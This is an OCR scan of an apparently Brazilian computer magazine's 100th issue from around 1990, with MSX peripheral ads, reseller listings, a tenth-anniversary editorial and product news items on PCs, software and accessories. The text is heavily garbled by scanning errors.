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Diferenca
- esta no produ

KIT PARA DRIVE DDX
Composto de gabinete meta-
co, fonte dealimentacao, interfa-

A DDX MODEM PARA MICROS MSX
Transmite e recebe em 1200/75, 300/300,
1200/1200, BELL e CCITT. Discagem automatica
pelo teclado do micromputador. Monitoracao
de linha, rediscagem automatica no caso de
ocupado, atendimento automatico. Contém
software embutido para terminal genérico, vi-
deo gexto (MSX 1 e MSX 2). Homologado pela
TELESP

EXPANSOR DE SLOTS DDX MEGA RAM DISK

Este aparelho expande cada 'SLOT' do micro  Esta placa € uma expansao de memdria com i
MsX em 4 "SLOTS' independentes, possibili- o sistema operacional DDX DOS residentee &~ -

tando ao usuario utilizar até 8 "SLOTS® simul- apresentada em 3 modelos diferentes: DDX
taneamente, ao inves de 2 originalmente. 256, 512 e 768 Kbytes. Portanto, ela funciona
como se fosse uma drive normal parao
computador. " -
Para guem gosta somente de Jogos, é reco-
mendavel a2 Mega Game DDX 256 Kbytes sem

(Bl ] pigital vesign Eletrnica Ltc.

design

Tels.: (011)570-1113 ¢ 570-7471 » 575-2853 - Sao Paulo-SP



REVENDEDORES DDX

530 PAULO-SPI011): Audicomp Tel.:
267-3581 » Benny Micros Tel.:
570-1555 » Brindata Tel.: 864-1888 #
Bruno Blois Tel.: 223-7011 * Caga do
MSX Tel.: 533-2351
* DAL Informatica Tel.:
871-0277 # Data Brind's Informatica
Tel.: 287-9909 = Datarecord Tel.:
4579932 = Datatec Tel.: 571-7083 «
Ectron Tel.: 2580-7266 = Elpsan Tel.:
37-7688 # Farah’s Informatica Tel.:
36-6707 # Fileril Tel.; 220-3833 » Ga-
me of Time Tel.: 581-2739 * MCC In-
formatica Tel.; 262-1876 = Misc Tel.:
34-839]1 = MSX Informética Tel.:
872-0730 » MSX Soft Sampa Tal.:
579-8050 ¢ Nasa Tel.: 914-2266 » Pa-
lo Alto Informatica Tel.: 288-7583 »
Paulisoft Tel.: 371814 ¢ Place Tech
Tel.: 575-3087 # Play Tech Tel.:
220-1733 = Reai Universoft Tel.:
825-5240 = Tall Comunicagso Tel.:
2767465 » Toy Games Tel.; 2774878
ARAGATUBA-SP: Computec Tel.:
(0186)23-3647
BELEM-PA: Compubel Tal.:
(091)223-6319
BELO HORIZONTE-MG: Lema Tel.:
(031)212-6855 « Argus Tel.:
(031)227-5688 = Raja Informatica Tel.:
(031)344-4877
BRASILIA-DF: BCS Brasilia Tel.:
(061)274-7571 = CRP informatica Tel.:
(061)2458-1165 » Ditz Informatica Tel.:
(061)243-4040
CABO FRIO-RI: Hofmar Tel.:
(02486)43-3533
CAMPINA GRANDE-PB: Magno Compu-
tadores Tel.: (083)321-6472
CAMPINAS-SP: Computer Hobby Tel.:
(0192)51-6649 » Sede Informética
Tel.: (0192)52-5188 * Marco Antonio
Tel.; (0192)43-2579
CURITIBA-PR: MSX SOFT Sul informat-
ca Tel: (041)233-0046
FEIRA DE SANTANA-BA: Computer Fel-
ra Tel.: (OF5)221-8094
FLORIANOPOLIS-SC: Frética Tel.:
(0482)22-0819 = Megabyte Informat-
ca Tel.: (0482)23-5010
FORTALEZA-CE: Sun Foto Tel.:
(085)244-2308 ¢ Top Data Informatica
Tel.: (085)238-2798
GOMNIA-GO: Porto Soft Tel.:
(062)223-0111
JUIZ DE FORA-MG: Power Informatica
Tel.: (032)212-2016
JUNDIAR-SP: 171 Informatica Tel.:
(011)436-3322
LONDRINA-PR: Quinta Geragdo Infor-
mdtica Tl (0432)24-8054
MACEIGAL: Datasoft Tel.:
(082)223-4984
PELOTAS-RS: S. . Informética Tel.:
(0532)25-9806 » Hiza Buchzertz in-
formdtica Tel.: (0532) 22-6988 « Per-
formatica Tel.: (0532)272172
PORTO ALEGRE-RS: Fonte Computado-
res Tel.: (0512)25-2286 « Digimer Tel.:
(0512)26-4395
PRESIDENTE PRUDENTE-SP: Dura-lex
Tel: (0182)22-6853
RECIFEPE: Quiminal Tel.:
(081)222.1224 » Plavenar Tel.:
(081)326-3337

RIBEIRAQ PRETU-SP: ALS Tel.
(016)636-5379

Digital
pesign
O MSX

A DIGITAL DESIGN é uma empresa de capital genufna-'
mente nacional, voltada a industrializacao e comercia-

lizacao de periféricos para a linha MSX.

Atuando no mercado hé mais de trés anos, o que prova

a seriedade com que a empresa encara o0 mercado de
MSX, a DIGITAL DESIGN desenvolveu, e vem desenvol-
vendo, Varios periféricos para o micro-computador pes-
soal mais vendido do Brasil.

Entre os periféricos desenvolvidos estio: o KIT DE DRI-

VE DDX, o CARTAO 80 COLUNAS DDX, a MEGA RAM
DISK 256 e o KIT DDX 2.0, uma placa que transforma
oMSX 1.0e 1.1 emMSX 2.0 com 512 cores, relogio, 128
Kbytes de VRAM e 80 colunas embutido.

RIO DE JANEIRO-RJ: M5X SOFT Inifor-
matica Tel.: (021)284-6791
SALVADOR-BA: Micro & Periféricos Tel.:
(071)359-5599
SANTA MARIA-RS: Micro Sul Tel.:
(055)221-1069
SANTO ANDRE-SP: Shop Audio e Video
Tel: (011)444-6055
SANTOS-SP: Datamarket Tel.:
(0132)37-3900 = Drawline Tel.:
(0132)34-9813
5. . DOS CAMPOS-5P: Igres informsti-
ca Tel.: (0123)22-9057
5. J. DO RIO PRETO-5P: Zero Um Infor-
mética Tel.: (0172)32-2633
SA0 LUIZ-MA: Suprimicros Tel.:
(098)222-4561
TAUBATE-SP: J. R, Sorn Tel.:
" (0122)33-1855
TUBARAL -5C: Display Com. e Repres,
Tel.: (0486)22-1022
VITORIA-ES: MSX Scorpions Tel.:
(027)235-2337 * Idéias Informatica
Tel.: (027)287.95939

VOLTA REDONDA-RS: Otica Sider Tel.:
(0243)42-1833

O EXPANSOR DE SLOTS DDX, as MEGA RAM MEMORY

n{APPER D!QK 512 e 768 Kbytes e os MODENS DDX es-
tao disponiveis nas nossas revendas.

DDX: ORIGINAL:

TECNOLOGIA DE PONTA DEDICADA A SEU MSX: IRRESISTI-
VEL ATE PARA SER COPIADO... EXPERIMENTE! AFINAL,

TRATA-SE DE UM PRODUTO COM ESTA MARCA DE

QUALIDADE:
(Ié’l/{/l?[ ;

esign

Digital Design Eletronica Ltda.




INFORMATICAH

A QUALIDADE AO SEU ALCANCE

Agora vocé pode usufruir dos produtos DBMS.

Escolher entre as ferramentas de produtividade em Produtividade em CLIPPER
CLIPPER ou entre os Sistemas de Aplicagdo Pessoal. EDIT - Editor de arquivos .DBF Cr$ 10.000,00
Além da qualidade DBMS, os produtos s&o acompa- BMSLIB' - Biblioteca de Funcdes CLIPPER  Cr§ 18.000,00
nhados de garantia e registro de software. .

o FAX - Fax ¢/ Editor de texto acentuado Cr$ 10.000,00
Possuem caracteristicas avangadas que conferem A : .
velocidade e flexibilidade, representando um grande |dBGRAPH - Gréficos Comerciais Cr$ 18.000,00
passo no desenvolvimento de aplicagbes. |dSCRIBA - Editor de Texto Cr$ 18.000,00
Assim, comprando um produto DBMS original, vocé |dINVEST - Gerenciamento Financsiro Cr$ 10.000,00

ganha: preco, atendimento, garantia de defeito de
gravagdo e grandes descontos quando trocara ver-
sdo.

Faga um circulo em torno dos programas que deseja
adquirir e preencha o cupom abaixo. Anexe um che-
que nominal a DBMS INFORMATICA LTDA no valor
total do pedido e remeta para:

* Compativel com o CLIPPER 5.0

Sistemas de Aplicagéo Pessoal

~ |Sref - Refersncias bibliogréficas Cr$ 5.000,00
' Sdsk - Controle de Discoteca (LP/CD/KY) Cr$ 5.000,00
Sbib - Controle de Biblioteca , Cr$ 5.000,00
|Svid - Controle de Videoteca Cr$ 5.000,00
Scar - Controle de Despesas de Oficina Cr$ 5.000,00
Spho - Controle de Fotografias Cr$ 5.000,00

DBMS INFORMATICA LTDA
Posta Restante "CENTRO EMPRESARIAL"
Av. Praia de Botafogo, 228
CEP: 22250 - Rio de Janeiro - RJ

Atencdo: estamos cadastrando revendas em outros estados

Estou enviando o cheque n® do | Nome:
Banco n® de Cr$ End.:
nominal 2 DBMS INFORMATICA LTDA pelo | Cidade: Est.:

pagamento dos produtos assinalados acima. Cep: Nasc: Tel:

o 8 * CLIPPER é marca registrada da Nantucket Corporation

e e e ——— e ———————
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ANG X N° 100

CAPA: CLAUDIO COSTA

A revista MICRO SISTEMAS nasceu da idéia de se fazer no Brasil e para brasileiros
0 que, em paises mais adiantados, ainda era uma ténue tendéncia: ampliar o uso dos
computadores, ou seja, tornar sem mistérios a informética.

Na verdade, o que se buscou no inicio foi a integracdo entre os fabricantes de hard-
ware e software, o mercado consumidor e a comunidade de criacdo. Concretizada esta
integracgdo, surgiria um usudrio ndo sé consciente do produfo que estava consumindo,
mas também satisfeito com os servicos a ele oferecidos e com acesso facilitado aos co-

nhecimentos e técnicas disponiveis.

Tudo isso aconteceria evidentemente tendo como ponto central um veiculo de infor-
macao eminentemente técnico, porém nao académico. Desta equacdo nasceu a revista
MICRO SISTEMAS, cujos resultados estao estampados nessas 100 edicges.

Esses anos de “fazer’* MICRO SISTEMAS foram repletos de alegrias e também de
algumas ftristezas, mas a melhor descoberta deste processo ficou mesmo para a cons-
tatacdo de que, em meio a acerios e erros, sempre houve uma comunidade pronta a
participar e a dar sua colaboracdo. Sdo nossos leifores que, as vezes travestidos de co-
laboradores, nos tem ensinado como fazer uma revista.

E foi fazendo justamente esta revista que chegamos até aqui: 10 anos de mercado
e a edicdo numero 100. Aos nossos leitores, ou melhor, aos nossos grandes amigos
dedicamos essa edicdo especial, aproveitando entdo para contar um pouco como tudo

aconteceu, do lado de cé.

Renarto Degiovani
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LINEFILTER METRON

Metron lanca novos filiros para corrigir

defeitos da rede elétrica

A Metron Inddstria Eletronica, um dos
maiores fabricantes brasileiros de esta
bilizadores de tensao e sistemas no-
break, estd lancando uma nova familia
de filtros de linha Linerfilterline para uso
em microcomputadores, terminais de te-
lex, centrais PABX, maquinas registradoras,
‘eletrodomésticos e outros equipamentos
digitais.

Os filtros corrigem interferéncias na
rede elétrica, evitando, por exemplo, 0 em-

pastelamento de mensagens enviadas por
fax ou a queima dos equipamentos por
ocorréncia de raios. Os filtros de linha séo
uma alternativa mais economica para usua-
rios de equipamentos digitais que preferem
ndo investir na compra de estabilizadores
de tensao.

Os novos modelos, de design compacto,
sdo fabricados em aco blindado, na cor
bege, e apresentam op¢des com entradas
simultaneas para até quatro equipamentos.

Supermlcros e dISCO Optlco

na autfomagdo comercial

Esta lancada a mals completa linha de
supermicrocomputadores Digirede
8000XQ, que agora também opera com o
microprocessador Motorola 68030 de
32/32 bits, capaz de processar até 7 mi-
Ihdes de instrugdes por segundo, armaze-
nar até 4 bilhdes de caracteres (Gigabytes)
e suportar 64 milhdes de caracteres (Me-
gabytes) de memoéria principal, toda no-
-volatil. Além dos supermicros, a Digirede
apresenta também o PC 386, o disco 6p-

tico regravavel, terminais de video semi-
gréfico e terminal PDV, para automacio
comercial.

A nova linha 8000XQ, lancada este ano,
além de proporcionar malor rapidez e ca-
pacidade de processamento, permite a uti-
lizagéo do sistema operacional Digix V,
versao licenciada do Unix System V da
AT&d.

A linha de supermicro XQ utiliza a lin-
guagem Cobol Microfocus 85, pode ser

usadas por empresas de todos os portes
desde comercial, industrial ou de servigos
e trabalha com qualquer sistema de ge
renciamento de banco de dados. A nova
versdo opera com softwares Unify 4.0, Ac-
cell, Uniplex, Zim, Informix, Dialog, Data-
flex e Oracle. Que exige estrutura expeci-
fica de hardware.

Com capacidade de atender até 120
saidas para terminais em seu modelo
mais avancado, a familia 8000XQ é apre-
sentada em dimensdes reduzidas, mais
compactas, ja que a sua arquitetura base-
-se em uma Unica placa (‘mother-board’),
para todos os modelos, 0 que permite seu
crescimento de acordo com as necessida-
des do usuério.

Projetada para operar sob o sistema
operacional Digix V, versdo licenciada do
Unix System V, da AT&T, a familia 8000XQ
introduz no Brasil uma gama poderosa de
software, abrangendo produtos best-sellers
nacionais e internacionais, de grande efi-
ciéncia e utilidade.

Esta padronizagdo de hardware e soft-
ware oferece ao usuario brasileiro recursos
que até entdo s6 estavam a disposigcdo no
exterior, 0 que coloca o Brasil no mesmo
patamar de tecnologia dos paises mais
avangados.

Maior rapidez na
constru¢cdo de graficos

Como forma de agilizar o desenvolvi-
mento de graficos e diagramas, a SMI-
-Software Marketing Internacional traz pa
ra o Brasil o novo programa Exponent
Graphics. Lancado ha seis meses no mer-
cado norte-americano pela IMSL, empresa
proprietaria do software, representada no
Pais pela SMI, o novo programa atende ao
nicho de mercado dos usuarios que de
senvolvem programas em linguagem For-
tran e C, particularmente matemaéticos, es-
tatisticos, engenheiros e pesquisadores.

O Exponent Grafics representa mais um
produto voltado para atender as necessi-
dades dos usuarios, ndo apenas das bi
bliotecas da IMSL mas de qualquer outro
tipo de ambiente.
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(021) 262-8249

Cibertécnica Informatica Ltda.

— Rua Senador Dantas, 117 Gr. 1941 — Tel.:




REVOLUCAO EM
° PROGRAMACAO DE VIDEO

g

E o tnico sistema que permite a montagem de
uma série de efeitos especiais no video, serem
reexecutados automaticamente, gerando uma
sucessdao de apari¢coes como se fosse um filme
editado num studio de video profissional.

SISTEMA DE PROGRAMACAQ |

SEQUENCIAL PARA CONSTRUCAO |

DE EFEITOS AUTOMATIZADOS |
DE VIDEO NO MSX

e|PT LIAZES 2|laza

HIEES

a|move | w | move iJCCIBRE

(P =

A |COFIA| S |COPIA |D |COPIA

ALGUMAS
CARACTERISTICAS

® Diversos efeitos especiais para apreserr
tacdo de imagens com qualquer tama-
nho e em qualguer parte da tela.

e Seis editores de Texto-Tela, usando ca-
racteres com tamanhos de até 1/6 do ta-
manho da tela (B x 8 até 24 x 32)
podendo ainda, serem duplicados.

* Seis editores de caracteres para riagao
de qualquer estilo de letra.

* Memorizacdo de cada efeito executado
para posterior execugao sequencial de
forma automatica e cadenciada como se
fosse um filme.

e A operacio dos comandas, € totalmente
conversadonal (perguntas no video, dis-
pensando conhecimentos de BASIC.

* Com o MSX-VIDEO, o unico limite pa-
ra a criagao, é a sua imaginacao.

M w| M w M1 M2
Z | SEQ. | X| SEQ | C | SEQ.

REPETE

[o vnajmss b | BR

COR COR
FRENTE | SPRITE

1 | sPRIT 0|TELA P [TELA

SALVA[ L [cArGA[¢ JusTa

K

Disco DISCO DISCO

T SEQL SEQ. VD PT
M

SEQ. |© |REDUZ|/
VELOC | mENU
PAUSA | mincio

DESCONTO ESPECIAL PIREVENDAS

COMPOSICAO DO

KIT MSX-VIDEO

e 10 Disquetes gravados;

e 1 Manual de Operagdes com ilustragbes
e exemplos,

e | Plug de licenga de uso para sigilo das
suas criagoes;

e 83 Programas interligados em todo o
sistema;

® 54 Alfabetos prontos distribuidos em seis
tamanhos basicos.

* 63 Desenhos auxiliares e padronizados;

e | Painel do tedado operadonal para
manuseio de efeitos espedais;

e | Painel do tedado operacional para edr
¢30 de textos e caracteres;

s | Relagdo mostrando o estilo dos 54 Al-
fabetos prontos (6 tamanhos).

RODA EM QUALQUER MSX NAC. OUIMPORT.
PRECO ESPECIAL DE LANCAMENTO

No dia 19/01/91 serd realizada uma
apresentacao do sistema com a presen¢a
do autor Carlos dos Santos
em nosso enderego, comparecam.

Em Disquete 5 V4 — 120 BTN *
Em Disquete 3 ¥z — 170 BTN *

Faca seu pedido hoje, anexando um cheque nominal e
cruzado [a Riosoft Informdtica Ltda.] a seus dados
completos, no prazo miximo de 10 dias, enviaremos seu

pedido via SEDEX.
G EXCLUSIVIDADE: NOME:
R ,_ , T informatica Ltda. ENDERECO.
Rua Conde de Bonfim, 346 Lj. $S. 107 | CIDADE: EST: GEE:

Rio de Janelro-RJ - CEP. 20.520.

TEL.: {02 1’ 264-3726 -srnooniaisoomes

DDD: TEL:
Somar ao valor Cr$ 800,00 (SEDEX de Janeiro)




BYTES

Primeiro XT com 14 MHZ

A ATS - Tecnologia, Indastria e Comércio
esta comercializando o HT 141, o primeiro XT
de 14 MHz com tecnologia de ponta do mer-
cado mundial.

Custando 50% do preco de um AT, este
novo equipamento é 3,4 vezes mais rapido
que um XT de 4,77 MHz e apresenta 70% de
desempenho de um AT de 8 MHz. Além dis-
s0 0 HT 141 possui um teclado com 104 te-
clas (padrao AT), capacidade de 6840 Kb de
meméria RAM, mais 384 Kb de RAM virtual
e 8 Kb de memoria Epron, duplo clock com
14 e 4,77 MHz comandados por hardware e
microprocessador 8088-12. Utiliza SMD que
integra varias funcoes das placas convencio-
nais de XT, resultando em uma diminuicao
fisica.

O HT 141 possui ainda circuito eletroni-
co para evitar o acionamento acidental da te-
cla reset, chave de comutac&o para funcio-
namento normal ou turbo, e novo design, re-
volucionando os padroes tradicionais do
mercado.

A ATS acreditando que ainda exista um
bom segmento de usuarios de XT, investiu
macicamente nesse produto e pretende,
dessa forma, elevér de 8 para 10% sua par-
ticipagao nesse mercado.

Conception-3Dem
rede local

Conception-3D, o software de CAD (Pro-
jeto Auxiliado por Computador) em 2D ou 3D
esta sendo langado em ambiente operacio-
nal MS/DOS. Esta funcéo integra o banco de
dados gréaficos e nao graficos e gerencia os
conflitos de acesso.

A dltima versdo do software
Conception-3D da Serbi proporciona aos
computadores pessoais IBM e compativeis,
isolados ou em rede, possibilidade de mani-
pulacédo de vistas até entao reservadas aos
grandes sistemas como, por exemplo, a re-
presentagao das faces ocultas ou a revisao
imediata das cotas e da nomenclatura duran-
te as modificacoes.

A facilidade de utilizacdo do produto é
sempre para o software Conception-3D um
ponto primordial, e esta simplicidade
encontra-se também na linguagem de co-
mando e de parametragem de alto desem-
penho. Serve para a criacéo de simbolos para
completar as bibliotecas ja existentes e pa-
ra definir os macrocomandos. Do mesmo
modo, projecdes em perspectivas cavaleiras
podem ser tiradas automaticamente a par-
tir de desenhos de planos numerizados por
um scanner (dispositivo de varredura) antes
de serem geradas em 3D real. Por outro la-
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CONCEPTION - 3D

do, para a criacéo direta em 3 dimensoes, o
retorno em duas dimensdes constroi as par-
tes eventualmente faltantes do plano inicial
com as hachuras e as cotas de acordo com
as normas AFNOR, U.S. ou BSI.

Os métodos classicos de desenho na te-
la permanecem validos. Aos pontos, seg-
mentos, circulos e elementos conicos diver-
sos, retangulos e outras figuras primitivas
acrescentam-se as funcoes de associagao,
intersecéo, tangentes, paralelas, chanfros ou
curvas de uniao. A cada pega terminada ou
suprimida, a nomenclatura geral & atualiza-
da pelo software Conception-3D.

A flexibilidade deste software deve-se a
sua estrutura modular em 5 partes distintas
em 2D, cotas, 3D, faces ocultas e banco de
dados, constituindo este Gltimo o nicleo do
conjunto. A sua possibilidade de utilizagéo
em rede UNIX ou MS/DOS simplifica sua im-
plantagao em varios locais ja interligados. A
Serbi, inteiramente dedicada a este produ-
10, 0 faz evoluir para o comando de ferramen-
tas de producéo em CAPC (Controle da Pro-
duc3o Auxiliado por Computador) a partir do
banco de dados.

S S g
s

SAMBA pérde
Categoria 1

A planilha eletrénica Samba, comercia-
lizada pela PC Software, perdeu o registro
na categoria 1, reservada pela Lei de Soft-
ware em vigor no Pais, somente para pro-
gramas gue tenham sido efetivamente de-
senvolvidos no Brasil. A decisdo é inédita
e significa o desfecho do processo movi-
do pela Lotus (através da Intercorp, uma de
suas distribuidoras no Brasil), solicitando
0 descredenciamento do produto sob ale-
gacao de que nao passava de uma tradu-

o S

¢ao da planilha TWIN, fornecida pela em-
presa norte-americana Mosaic.

A cassacao do registro de categoria 1
do Samba foi decidida a partir de um pa-
recer técnico emitido pelo grupo de traba-
Iho, criado especialmente para assessorar
a extinta SEI no processo. Nas conclusodes,
o grupo afirmou que “o programa Samba
nao pode ser caracterizado como um pro-
grama desemvolvido no Pais, por pessoas
naturais aquiresidentes e domiciliadas ou
por uma empresa nacional, tendo havido
comprovada cooperagao entre uma em-
presa nacional e uma empresa estrangei-
ra. Nao ha divida de que ambos os progra-
mas foram derivados de um mesmo pro-
grama original, elaborado para usuarios de
lingua inglesa’, acrescentando que a tra-
ducdao para o portugués foi obtida
introduzindo-se modificagbes necessa-
rias, porém ndo muito bem integradas ao
programa.

Na mesma portaria que retira o Samba
da categoria 1, foi anunciado o registro do
produto na categoria 2, destinada a soft-
ware desenvolvido em conjunto com em-
presas estrangeiras. Isto significa que o
produto perde os privilégios dados aos
programas realmente nacionais, tais co-
mo: ter preferéncia na compra por empre-
sas governamentais e impedir a entrada no
Pais de concorrentes estrangeiros com ba-
se no conceito de similaridade.

Aproveitando a deciséo da SEl, a Lotus
resolveu dar forca total a uma campanha
iniciada recentemente, visando estimular
a troca de bases instaladas de outras pla-
nilhas, pelo Lotus 1-2-3, e move ainda, um
processo contra a Mosaic, sob alegagdo de
gue o Twin & copia da sua planilha. A deci-
sao sera tomada pelo mesmo juiz que em
julho Gltimo deu ganho de causa a Lotus
num processo igual movido contra a Pa-
perback, fornecedora do VP-Planner.



SOFTWORKS

Voceé que € usuario dos micros Amiga 500/2000/3000, tera
agora a mais alta tecnologia a seu dispor: HITEK
SOFTWORKS. Uma divisao da DISCOVERY INFORMATICA
voltada exclusivamente para esta fascinante linha de
computadores. Programas nacionais, desenvolvidos pela
melhor equipe de programadores do Brasil.

Na HITEK vocé encontrara uma completa linha de programas
nas mais diversas areas de interesse. Musica, graficos, jogos
€ muito mais.

Nao espere encontrar na HITEK, eguipamentos importados
ou programas piratas. A HITEK existe para tornar seu Amiga
uma magquina realmente util e totalmente legal.

Remeta o cupom para:
HITEK SOFTWORKS

Caixa Postal 3043
CEP 20001 - Rio de Janeiro - RJ
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Unix/Xenix agora em
portugués

As facilidades do processador de textos
MicrosoftWord 5.0 j& est3o disponiveis pa
ra os usudarios de sistemas Xenix/Unix, to-
talmente em portugués. O produto foi ada-
pitada para o ambiente multiusuario pela
SCO, que também detem a sua distri-
buigao.

A localizagdo do produto para a lingua
portuguesa fol realizada pela SCO em
conjunto com a Cl Unimax, quando nor-
malmente um grupe de engenharia da
SCO (sediado em Londres) fica encarrega
do deste trabalho. A Cl Unimax empenhou-
-se na traducao, revisdo, composicao dos
manuais e fez os testes necessarios com
o hardware nacional. Em Londres, foram
realizadas as etapas de engenharla (alte-
ragées de codigo para introduzir coman-
dos de acentuagdo, menus, help) e contro
le de qualidade, com o acompanhamento
da Unimax.

0 Word 50 projeto para Xenix/Unix é
totalmente compativel com sua verséao
DOS. Integra dados, textos e graficos de
diferentes aplicagdes; possui recursos de
estilos para formatacdes padronizadas; fo-
lha de rascunho e reorganizagdo de
documentos; e diversas colunas com
edicdo na tela.

Caracteristicas técnicas:

- roda sob SCO Xenix/Unix 386

- exige unidade central de processamento,
com processador Intel 80386, memoria
RAM de 1,5 Mb para um usuério e 500 Kb
para cada usudrio adicional. Exige no mi-
nimo de 2,4 Mb de espaco em disco e 3,8
Mb, com uma impressora instalada.

DOTS |
fitas

A DOTS, empresa nacional que utiliza
em suas impressoras Mirage a tecnologia
de multiplas cabecas, ampliando sua linha
de produtos, esta lancando no mercado fi-
tas para impressora.

Com tecnologia desenvolvida pela em-
presa, seguindo os padroes de qualidade
€ manutengdo de suas maquinas, o novo
produto é apresentado em cartucho meta-
lico que permite até 10 trocas de refil,
sendo que cada um imprime até 13 mi-
lhdes de caracteres, totalizando 143 mi-
Ihdes de caracteres por cartucho. As
cabecas de impressdo utilizam faixas di-
ferenciadas da mesma fita, permitindo
desta maneira um aproveitamento superior
aos das fitas convencionais.
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MONITOR TV PHILIPS

Novo TV Monitor Philips de 14 polegadas

O novo televisor colorido Philips de 14
polegadas, o 14 GL 1410 TOP MONITOR,
com entradas independentes para audio
e video, controle remoto de 26 fungdes e
design exclusivo ja estd no mercado. As
imagens geradas por um equipamento co-
nectado as entradas de audio e video
(video-cassete, videogames, microcompu-
tador ou videotexto) apresentam melhor
contraste, malor nitidez e fidelidade de co-
res, menos interferéncia e a reproducéo so-
nora ganha uma melhor fidelidade.

0 14 TOP MONITOR & um dos mais le-

Softec langa micro EGO XT PLUS

A Softec lanca o micro EGO XT PLUS,
que substitui o micro EGO XT, modelo fa-
bricado até hoje pela empresa, com a
vantagem de manter o mesmo preco e
oferecer caracteristicas técnicas que apro-
ximam o XT a performance de um micro
do porte do IBM PC/AT. :

O design compacto do gabinete foi
possivel em funcdo da utilizagéo de uma
monoplaca de tamanho reduzido que in-
clui o processador central, placa controla-
dora de video, duas saidas seriais, porta
paralela, controlador de drive 360 Kb a
1.44 Mb, relégio de meméria ndo volatil e
clock com velocidades de 12/14 Mhz.
Com a reducdo da placa ficarao livres
quatro slots para expansdes e com a di-
minuicdo do nimero de componentes
conseguiu-se um aumento na confiabili-
dade do equipamento e facilidade de ma-
nutencgao técnica.

ves televisores de sua categoria. Seu novo
design incorpora na parte superior um lo-
cal adequado para o facil transporte do
aparelho com apenas uma das maos, e du-
rante o transporte o controle remoto po-
dera ser guardado em um local exclusivo
na tampa traseira.

Oferece, entre outros recursos: sintonia
eletrbnica digital VHF/UHF, indicacdo das
funcdes na tela (On Screen Display), me-
méria programavel para até 18 canais, se-
lecdo de canais preferenciais e ajuste au-
tomaético de voltagem 110/220 volts.

A atualizacdo eletronica da linha de mi-
cros XT foi necessaria porque representa
um custo menor de fabricagdo e melhor
performance, ao contrario do que ocorre
no Brasil com os equipamentos da linha -
286 e 386 que apresentam custo de fa-
bricacdo cerca de 80% mais altos.

Qutra caracteristica do EGO XT PLUS é
o novo tipo de BIOS utilizado, igual ao dos
micros da linha AT, que permite configurar
o equipamento através de software resi-
dente em EPROM e nao diretamente ao
hardware, facilitando assim as alteragdes
de configuragoes.

A configuragao basica do EGO XT PLUS
com o clock de 12 Mhz, 704 Hb de me-
moria central, duas portas seriais, uma
porta paralela, relogio de tempo real, com-
trolador de video, controlador de floppy,
monitor de video, teclado expandido e
uma unidade de drive custa 3900 BTNs.

r———————



Profec PC: protecdo fofal
do software ao disquete

Para proteger programas, subdiretérios
e informagdes confidénciais contra o
acesso nao autorizado, pirataria e cor-
rupcéo acidental ou intencional dos dados,
a Newware Informatica esta lancando o
Protec PC,0 primeiro sistema de protecio
do mercado brasileiro que possibilita, in-
clusive, a seguranca de disquetes grava-
dos com quaisquer tipos de arquivos.

Operado por menus pull-down, o sis-
tema é de facil utilizacdo e apresenta
como vantagem as informagdes contidas
em subdiretdrios, como os arquivos execu-
taveis, além dos préprios arquivos de da-
dos de praticamente todos os best-sellers
do mercado. Esta protecdo é conseguida
através da encripitacdo do contetido que,
no caso do subdiretdrio, esconde seu no
me da listagem do diretério raiz, e toda
tentativa de acesso resulta em erro.

O Protec PC prevé a protecdo de pro-
gramas de cinco formas distintas: a pri-
meira delas permite que um software pro-
tegido seja executado somente com a
presenca do disco-chave no drive A: ou B;;
a segunda forma de protecao ocorre
gquando o programa protegido do usuario
€ instalado em um determinado disco
rigido, garantindo sua execucao exclusiva-
mente neste; a terceira esta na sua capa-
cidade de proteger o programa vinculando-
-0 @ um equipamento expecifico, isso
garante que o software somente seja exe-
cutado no PC em que foi instalado, evi-
tando, assim, a copia ilegal dentro da
mesma empresa. Nas duas formas de pro-
tecao restantes, o Protec PC também esta
abilitado a vincular programas em disque-
tes ou em discos rigidos a um hardware
determinado.

Em qualquer uma destas cinco moda-
lidades de protecao de software, o Protec
PC é capaz de detectar a presenca de virus.

Desenvolvido para operar em sistemas
operacionais compativeis, com o MS DOS
2.XX e posteriores, a instalacdo do Protec
PC exige drive 5 1/4’ e hard disk na con-
figurac@o minima do equipamento.
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Micro 3865X com
velocidade de 20 MHz

A Addon Tecnologia em Produtos Eletro-
nicos Ltda, fabricante de microcomputa-
dores com sede em S3o Paulo, esta lan-
cando, o microcomputador 386SX com
velocidade de 20 MHz. Para publica-lo,
participou de parcerias tecnolégicas infor-
mais com as empresas norte-americanas
Advanced Logic Research (ALR)e Capetown
Communication.

_ Ao introduzir este equipamento no mer-
cado brasileiro, a Addon torna-se a tnica
empresa brasileira a fabricar este tipo de
micro de 20 MHz. Até o momento, s6 exis-
tia no mercado equipamentos 3985X com
velocidade de 16 MHz.

Recentemente, a mesma empresa lan-
¢ou um outro equipamento desenvolvido
também em parceria: o Vert Plus com ve-
locidade de 33 MHz. Trata-se do dnico
386 com esta velocidade no mercado bra-
sileiro. Os demais nao ultrapassam os 25
MHz. O Vert Plus 33, é equipado com trés
microprocessadores - um para a CPU prin-
cipal e os outros dois para as CPUs adi
cionais encarregadas do controle de dis-
cos e de comunicacdo.

e
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Assisténcia técnic
apenas 2 horas

A Zero Informatica Servigos, empresa
do grupo zero, acaba de colocar em ope-
ragdo um novo padrdo de atendimento de
assisténcia técnica. Pelo novo esquema,
qualquer cliente em todo teritério nacio-
nal terd seu problema de equipamento re-
solvido no prazo de no maximo 2 horas do
momento do chamado.

A estruturagdo do novo padrdo de aten-
dimento exigiu da zero um investimento de
US$ 100 mil na ampliagéo dos laboratérios,
reformulacdo da central de atendimento
€ na aquisi¢ao de um estoque significativo
em placas, periféricos e equipamentos
back up em geral.

ASSISTENCIA TECNICA ZERO

Quando a empresa recebe um chamado
de assisténcia técnica, quem atende nao
é a recepcionista, como na maioria dos
concorrentes, e sim um supervisor técnico.
Esse profissional procede a um amplo le-
vantamento do problema do cliente, ja de-
terminando em que area do equipamento
se encontra o defeito.

O passo seguinte serd o de procurar, no
computador da firma, o técnico que esti-
ver mais proximo do cliente ou enviar um
técnico do escritério com a placa ou os
equipamentos a serem substituidos. Se o
cliente for de fora do estado de Sdo Paulo
a central de atendimento acionara o téc-
nico residente na cidade. Todo esse pro-
cesso leva apenas alguns minutos, fazendo
com que o cliente receba o atendimento
da assisténcia técnica antes mesmo de de-
corrida a primeira hora.

' DATADUQUE INFORMATICA

TREINAMENTO EMPRESARIAL EM: MS-DOS, WS,
dBASE lll, CLIPPER, LOTUS 1-2-3, COBOL

‘Av. Plinio Casado, 58 Gr. 411 - Centro - Dugue de Caxias -RJ- CEP 25030 Tel.: (021)772-5264

0S MELHORES PRECOS

DO MERCADO

